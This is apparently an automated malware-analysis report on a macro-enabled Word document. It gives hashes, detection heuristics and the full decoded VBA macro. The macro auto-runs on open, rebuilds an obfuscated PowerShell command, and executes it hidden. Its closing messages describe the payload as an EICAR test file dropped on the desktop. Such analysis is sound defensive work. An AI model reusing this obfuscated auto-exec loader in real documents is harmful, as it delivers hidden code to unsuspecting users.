Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3f0d4468deb56036…

MALICIOUS

Office (OOXML)

80.5 KB Created: 2020-10-24 02:45:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2020-10-31
MD5: de764c26488aaaa73cfefe37da9a5801 SHA-1: 7ce035fceb34c29b76cd9df62e01309b5a9b253a SHA-256: 3f0d4468deb56036aa7fb0c0e8a6ecedd9b6cce20e57b072cbd6d34349ec6fb2
232 Risk Score

Heuristics 8

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set objShell = CreateObject("WScript.Shell")
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set objShell = CreateObject("WScript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set objShell = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3660 bytes
SHA-256: 6caa753c047b2d7de5d83facef4496d49c09fec7e6155b1bcaf456a29c7bc0d1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()

 MyProc1
End Sub

Private Sub MyProc1()

 Dim MyStr As String
 Dim MyPayload As String
 Dim MyCmd As String
 

MyPayload = "" & _
"J*BE*GU*cwBr*HQ*bwBw*F**YQB0*Gg*I**9*C**WwBT*Hk*cwB0*GU*bQ*u*EU*bgB2*Gk*cgBv*G4*bQBl*G4*d*Bd*Do*OgBH*GU*d*BG*G8*b*Bk*GU*cgBQ*GE*" & _
"d*Bo*Cg*WwBT*Hk*cwB0*GU*bQ*u*EU*bgB2*Gk*cgBv*G4*bQBl*G4*d**r*FM*c*Bl*GM*#QBh*Gw*RgBv*Gw*Z*Bl*HI*XQ*6*Do*R*Bl*HM*#wB0*G8*c**p*Ds*" & _
"I**k*EY*#QBs*GU*TgBh*G0*ZQ*9*CI*ZQBp*GM*YQBy*C4*d*B4*HQ*Ig*7*C**J*BG*Gk*b*Bl*F**YQB0*Gg*I**9*C**J*BE*GU*cwBr*HQ*bwBw*F**YQB0*Gg*" & _
"Kw*i*Fw*Ig*r*CQ*RgBp*Gw*ZQBO*GE*bQBl*Ds*I**k*EU*bgBj*G8*Z*Bl*GQ*V*Bl*Hg*d**x*C**PQ*g*CI*VwBB*EE*MQBB*EU*O*BB*Ek*UQBC*FE*QQBD*FU*" & _
"QQBR*EE*QgBC*EE*RgBB*EE*VwB3*EE*M*BB*EY*dwBB*FU*QQBC*GE*QQBG*Gc*QQBO*FE*QQ*w*EE*QwBn*EE*VQBB*EI*ZQBB*EM*#wBB*E4*dwBC*EQ*QQBF*E0*" & _
"QQBL*FE*QQ*z*EE*S**w*EE*SgBB*EI*RgBB*EU*#wBB*FE*dwBC*EI*QQBG*Ek*QQ*i*Ds*I**k*EU*bgBj*G8*Z*Bl*GQ*V*Bl*Hg*d**y*C**PQ*g*CI*T*BR*EI*" & _
"V*BB*EY*UQBB*FE*UQBC*E8*QQBF*FE*QQBR*FE*QgBT*EE*RQBR*EE*T*BR*EI*QgBB*EU*N*BB*FY*QQBC*Eo*QQBG*Fk*QQBT*FE*QgBT*EE*RgBV*EE*VQB3*EE*" & _
"d*BB*EY*UQBB*FI*UQBC*FQ*QQBG*FE*QQBM*FE*QgBH*EE*RQBr*EE*V*BB*EI*RgBB*EM*RQBB*Eo*QQBC*Ek*QQBD*HM*QQBT*EE*QQBx*EE*QQ*9*D0*Ig*7*C**" & _
"J*B2*GE*b**x*C**PQ*g*Fs*UwB5*HM*d*Bl*G0*LgBU*GU*e*B0*C4*RQBu*GM*bwBk*Gk*bgBn*F0*Og*6*FU*bgBp*GM*bwBk*GU*LgBH*GU*d*BT*HQ*cgBp*G4*" & _
"Zw*o*Fs*UwB5*HM*d*Bl*G0*LgBD*G8*bgB2*GU*cgB0*F0*Og*6*EY*cgBv*G0*QgBh*HM*ZQ*2*DQ*UwB0*HI*#QBu*Gc*K**k*EU*bgBj*G8*Z*Bl*GQ*V*Bl*Hg*" & _
"d**x*Ck*KQ*7*C**J*B2*GE*b**y*C**PQ*g*Fs*UwB5*HM*d*Bl*G0*LgBU*GU*e*B0*C4*RQBu*GM*bwBk*Gk*bgBn*F0*Og*6*FU*bgBp*GM*bwBk*GU*LgBH*GU*" & _
"d*BT*HQ*cgBp*G4*Zw*o*Fs*UwB5*HM*d*Bl*G0*LgBD*G8*bgB2*GU*cgB0*F0*Og*6*EY*cgBv*G0*QgBh*HM*ZQ*2*DQ*UwB0*HI*#QBu*Gc*K**k*EU*bgBj*G8*" & _
"Z*Bl*GQ*V*Bl*Hg*d**y*Ck*KQ*7*C**TgBl*Hc*LQBJ*HQ*ZQBt*C**LQBQ*GE*d*Bo*C**J*BE*GU*cwBr*HQ*bwBw*F**YQB0*Gg*I**t*E4*YQBt*GU*I**k*EY*" & _
"#QBs*GU*TgBh*G0*ZQ*g*C0*SQB0*GU*bQBU*Hk*c*Bl*C**RgBp*Gw*ZQ*g*C0*RgBv*HI*YwBl*C**LQBW*GE*b*B1*GU*I**k*HY*YQBs*DE*Ow*g*EE*Z*Bk*C0*" & _
"QwBv*G4*d*Bl*G4*d**g*C0*U*Bh*HQ*#**g*CQ*RgBp*Gw*ZQBQ*GE*d*Bo*C**LQBW*GE*b*B1*GU*I**k*HY*YQBs*DI*Ow*g*EU*e*Bp*HQ*Ow*" & Chr(61)

 
MyStartCmd = Chr(112) & Chr(79) & Chr(87) & Chr(101) & Chr(82) & Chr(115) & Chr(72) & Chr(69) & Chr(76) & Chr(76) & Chr(46) & Chr(101) & Chr(88) & Chr(101) & Chr(32) & Chr(45) & Chr(110) & Chr(79) & Chr(101) & Chr(88) & Chr(73) & Chr(116) & Chr(32) & Chr(45) & Chr(119) & Chr(73) & Chr(78) & Chr(100) & Chr(79) & Chr(87) & Chr(115) & Chr(116) & Chr(89) & Chr(108) & Chr(101) & Chr(32) & Chr(104) & Chr(73) & Chr(100) & Chr(68) & Chr(69) & Chr(110) & Chr(32) & Chr(45) & Chr(101) & Chr(32)

MyPayload = Replace(MyPayload, "#", "a")
MyPayload = Replace(MyPayload, "*", "A")

MyCmd = MyStartCmd & MyPayload


Set objShell = CreateObject("WScript.Shell")
 
 
 
 objShell.Run MyCmd, vbHide


Set objShell = Nothing

MyStartCmd = "You should not enable macros on unknown documents!"
MyPayload = "Your computer has just been infected with a virus."
MyCmd = MyStartCmd & vbCrLf & MyPayload
MsgBox MyCmd, vbCritical, "Alert!"
 
MyStartCmd = "This time it was just EICAR Anti-Virus test file."
MyPayload = "If the antivirus did not react, check it."
MyCmd = MyStartCmd & vbCrLf & MyPayload
MsgBox MyCmd, vbExclamation, "You are lucky"

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 25088 bytes
SHA-256: 34585295ec6e0e634fac253b27f0953cf62225afb3c25f6b443a6a6e50732218
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 long base64-like blob(s).